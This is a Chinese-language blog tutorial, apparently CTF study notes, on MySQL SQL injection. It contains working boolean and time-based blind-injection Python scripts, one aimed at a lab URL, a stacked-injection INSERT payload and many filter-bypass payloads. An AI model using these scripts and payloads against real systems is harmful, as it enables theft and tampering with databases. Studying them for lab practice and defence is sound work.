SQL injection

Fc04dB Lv3

# SQL 注入

[!IMPORTANT]

参考协会学长们的文章:

记录一下近期刷 Buuoj 学到的 SQL 注入技巧 | ek1ng’s Blog

‌‍‍‌‌‬‌‍‬‍‍‌‍‌⁠‌‬‬‬SQL 注入 - 飞书云文档 (feishu.cn)

[!NOTE]

有关 SQL 语句的基本知识,可以参考 SQL Tutorial

# SQl 注入中的信息收集

# 信息的获取

1
2
3
4
5
1. version() 数据库版本
2. user() 数据库用户名
3. database() 数据库名
4. @@datadir 数据库路径
5. @@version_compile_os 操作系统版本

# 字符串拼接

  1. concat(str1,str2,…) 能够将你查询的字段连接在一起
  2. concat_ws(separator,str1,str2,) 能够自定义分隔符来将你查询的字段链接在一起
  3. group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])
    1. 一般来说这个函数是配合 group by 子句来使用的,但是在 SQL 注入中,我们用他来输出查询出来的所有数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
mysql> select id, username, password from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.01 sec)

mysql> select concat(id,username,password) from users;
+------------------------------+
| concat(id,username,password) |
+------------------------------+
| 1DumbDumb |
| 2AngelinaI-kill-you |
| 3Dummyp@ssword |
| 4securecrappy |
| 5stupidstupidity |
| 6supermangenious |
| 7batmanmob!le |
| 8adminadmin |
| 9admin1admin1 |
| 10admin2admin2 |
| 11admin3admin3 |
| 12dhakkandumbo |
| 14admin4admin4 |
+------------------------------+
13 rows in set (0.01 sec)

mysql> select concat(id,username,password) from users;
+------------------------------+
| concat(id,username,password) |
+------------------------------+
| 1DumbDumb |
| 2AngelinaI-kill-you |
| 3Dummyp@ssword |
| 4securecrappy |
| 5stupidstupidity |
| 6supermangenious |
| 7batmanmob!le |
| 8adminadmin |
| 9admin1admin1 |
| 10admin2admin2 |
| 11admin3admin3 |
| 12dhakkandumbo |
| 14admin4admin4 |
+------------------------------+
13 rows in set (0.01 sec)

mysql> select group_concat(id,username separator '_') from users;
+--------------------------------------------------------------------------------------------------------------+
| group_concat(id,username separator '_') |
+--------------------------------------------------------------------------------------------------------------+
| 1Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

# SQL 注入类型

# 布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

url = ""
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ''

for num in range(1,500):
print(num)
for i in dictionary:
data = {'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i), # 这是查库,可用下面代替以实现查表查字段
'pass':'123456'}
res = requests.post(url = url,data = data)
time.sleep(0.2)
if res.txt == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' : # 需要根据情况更改
flag += i
print(flag)
break
print(flag)

# 查询数据库的所有表
#(select(group_concat(table_name))from(information_schema.tables)where(table_schema='数据库名'))

#爆字段
#(select(group_concat(column_name))from(information_schema.columns)where(table_name='表名'))

Liki4 学长的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from mysqli_invisible_bool import *
import string
import io
import sys

def escape_string(c):
return "\\" + c if c in ".+*" else c

def exp():
payload_template = "Liki4' AND if({exp},1,0);#"
space = string.ascii_letters + string.digits + ' _:,$.'

exp_template = "@@version RLIKE '^{c}'"
exp_template = "DATABASE() RLIKE '^{c}'" # 查数据库名
exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" # 获取表名与字段名
exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" # 获取存储的数据

print(exp_template)

Flag = True

data = ""

while Flag:
ori_stdout = sys.stdout
for c in space:
payload = payload_template.format(exp=exp_template.format(c=data+c))
sys.stdin = io.StringIO(payload + '\n123\n')
res = sys.stdout = io.StringIO()
main()
output = str(res.getvalue())
if "failed" in output:
continue
if c == "$":
Flag = False
break
if "success" in output:
data += c
break
sys.stdout = ori_stdout
if Flag:
print(data, end="\r")
else:
print(data)

if __name__ == "__main__":
exp()

# 时间盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import string

url = "http://10.16.53.180/newsqli/Less-9/"

def timeOut(url):
try:
res = requests.get(url, timeout=3)
return(res.text)
except Exception as e:
return("timeout")

daNnamelen = 0
while True:
daNnamelen +=1
dbNameLen_url = url + "?id=1'+and+if(length(database())="+str(daNnamelen)+",sleep(5),1)--+"
print(dbNameLen_url)
if "timeout" in timeOut(dbNameLen_url):
print(daNnamelen)
break
if daNnamelen == 30:
print("error!")
break

dbName = ""
for i in range(1, 9):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+if(substr(database(),"+str(i)+",1)='"+a+"',sleep(5),1)--+"
print(dbName_url)
if "timeout" in timeOut(dbName_url):
dbName += a
print(dbName)
break

'''下面是代码的详细解释:

导入所需的库:

requests:用于发送 HTTP 请求。
string:包含常用的字符串常量,如 ASCII 字母表。
设置目标 URL:

url:这是目标网站的 URL,其中包含一个 SQL 注入漏洞。
定义 timeOut 函数:

这个函数尝试向给定的 URL 发送 GET 请求,并设置一个 3 秒的超时时间。
如果请求成功,它会返回响应的文本内容。
如果请求超时或发生其他异常,它会返回字符串 "timeout"。
确定数据库名称的长度:

daNnamelen:用于跟踪数据库名称的长度。
在 while 循环中,脚本尝试向 URL 插入一个 SQL 语句,该语句会检查数据库名称的长度是否等于 daNnamelen。如果是,它会触发一个 5 秒的延迟(通过 sleep(5))。
如果 timeOut 函数返回 "timeout",那么脚本就知道它已经找到了正确的长度,并打印出来。
如果尝试超过 30 次还没有找到正确的长度,脚本会打印 "error!" 并退出循环。
确定数据库名称:

dbName:用于存储数据库名称。
使用两个嵌套的 for 循环,脚本尝试确定数据库名称的每个字符。
对于每个位置(由 i 指定),它尝试所有可能的 ASCII 小写字母(由 a 指定)。
如果某个字符导致 timeOut 函数返回 "timeout",那么脚本就知道它找到了正确的字符,并将其添加到 dbName 中。
当所有字符都被确定后,数据库名称就被完全揭示出来。'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from mysqli_invisible_time import *
import string
import io
import sys
import signal

def handler(signum, frame):
raise Exception("timeout")

signal.signal(signal.SIGALRM, handler)

def escape_string(c):
return "\\" + c if c in ".+*" else c

def exp():
payload_template = "Liki4' AND if({exp},SLEEP(1),0);#"
space = string.ascii_letters + string.digits + ' _:,$.'

exp_template = "@@version RLIKE '^{c}'"
exp_template = "DATABASE() RLIKE '^{c}'"
exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'"
exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'"

print(exp_template)

Flag = True

data = ""

while Flag:
ori_stdout = sys.stdout
for c in space:
payload = payload_template.format(exp=exp_template.format(c=data+c))
sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password')
res = sys.stdout = io.StringIO()

signal.alarm(1)
try:
main()
print("timeout")
except:
print("bingooo")

output = str(res.getvalue())
if "timeout" in output:
continue
if c == "$":
Flag = False
break
if "bingooo" in output:
data += c
break
sys.stdout = ori_stdout
if Flag:
print(data, end="\r")
else:
print(data)

if __name__ == "__main__":
exp()

# 报错注入

SQL 注入之报错注入

# 堆叠注入

当注入点使用的执行函数允许一次性执行多个 SQL 语句的时候,例如 PHP 中的 multi_query ,堆叠注入即存在。堆叠注入相较于其他方式,利用的手法更加自由,不局限于原来的 SELECT 语句,而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。

1
Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#

img

img

INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据

# 二次注入

二次注入的原理与前面所有的注入方式一致,仅仅在于触发点不同。

在某些 Web 应用中,注册时对用户的输入做了良好的预处理,但在后续使用的过程中存在未做处理的注入点,此时即可能造成二次注入

常见的场景,例如某平台在用户注册时无法进行 SQL 注入利用,但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。

那么我们在注册的时候即便无法当即触发 SQL 注入,但可以将恶意 payload 暂时写入到数据库中,这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。

# SQL 注入常见的过滤绕过方式

# 空格被过滤

  1. /*xxx*/ MySQL 行内注释
    1. SELECT/*1*/username,password/*1*/FROM/*1*/users;
  2. ()
    1. SELECT(username),(password)FROM(users);
  3. %20 %09 %0a %0b %0c %0d %a0 %00 等不可见字符

# 引号被过滤

  1. 十六进制代替字符串
    1. SELECT username, password FROM users WHERE username=0x4c696b6934

# 逗号被过滤

  1. from for
1
2
3
select substr(database(),1,1);
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
  1. join
1
2
select 1,2
select * from (select 1)a join (select 2)b
  1. like/rlike
1
2
select ascii(mid(user(),1,1))=80
select user() like 'r%'
  1. offset
1
2
select * from news limit 0,1
select * from news limit 1 offset 0

# 比较符号 (<=>) 被过滤

  1. =like, rlike, regexp 代替
1
2
3
select * from users where name like 'Liki4'
select * from users where name rlike 'Liki4'
select * from users where name regexp 'Liki4'
  1. <>greatest()、least()
1
2
select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
  1. between
1
select * from users where id between 1 and 1;

# or and xor not 被过滤

  1. and = &&
  2. or = ||
  3. xor = |
  4. not = !

# information_schema 被过滤

在 SQL 注入中, infromation_schema 库的作用无非就是可以获取到 table_schema, table_name, column_name 这些数据库内的信息。

# 常用函数被过滤

  1. hex()、bin() = ascii()
  2. sleep() = benchmark()
  3. concat_ws() = group_concat()
  4. mid()、substr() = substring()
  5. @@user = user()
  6. @@datadir = datadir()

# MySQL 5.6 的新特性

在 MySQL 5.5.x 之后的版本,MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始,MySQL 在数据库中添加了两张表, innodb_index_statsinnodb_table_stats ,两张表都会存储数据库和对应的数据表。

因此,从 MySQL 5.6.x 开始,有了取代 information_schema 的表名查询方式,如下所示

1
2
select table_name from mysql.innodb_index_stats where database_name=database();
select table_name from mysql.innodb_table_stats where database_name=database();

img

# MySQL 5.7 的新特性

由于 performance_schema 过于发杂,所以 MySQL 在 5.7 版本中新增了 Sys schema 视图,基础数据来自于 performance_chemainformation_schema 两个库。

而其中有这样一个视图, schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer ,我们可以翻阅官方文档对其的解释

查询表的统计信息,其中还包括 InnoDB 缓冲池统计信息,默认情况下按照增删改查操作的总表 I/O 延迟时间(执行时间,即也可以理解为是存在最多表 I/O 争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.xpsschematablestatisticsiosys.xps_schema_table_statistics_io、sys.xinnodb_buffer_stats_by_table

其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式

1
2
select table_name from sys.schema_table_statistics_with_buffer where table_schema=database();
select table_name from sys.x$schema_table_statistics_with_buffer where table_schema=database();

img

# 无列名注入

在因为 information_schema 被过滤或其他原因无法获得字段名的时候,可以通过别名的方式绕过获取字段名的这一步骤

1
select a,b from (select 1 as a, 2 as b union select * from users)x;

img

img

  • Title: SQL injection
  • Author: Fc04dB
  • Created at : 2024-06-18 20:35:52
  • Updated at : 2024-07-04 23:16:40
  • Link: https://redefine.ohevan.com/2024/06/18/SQL-injection/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments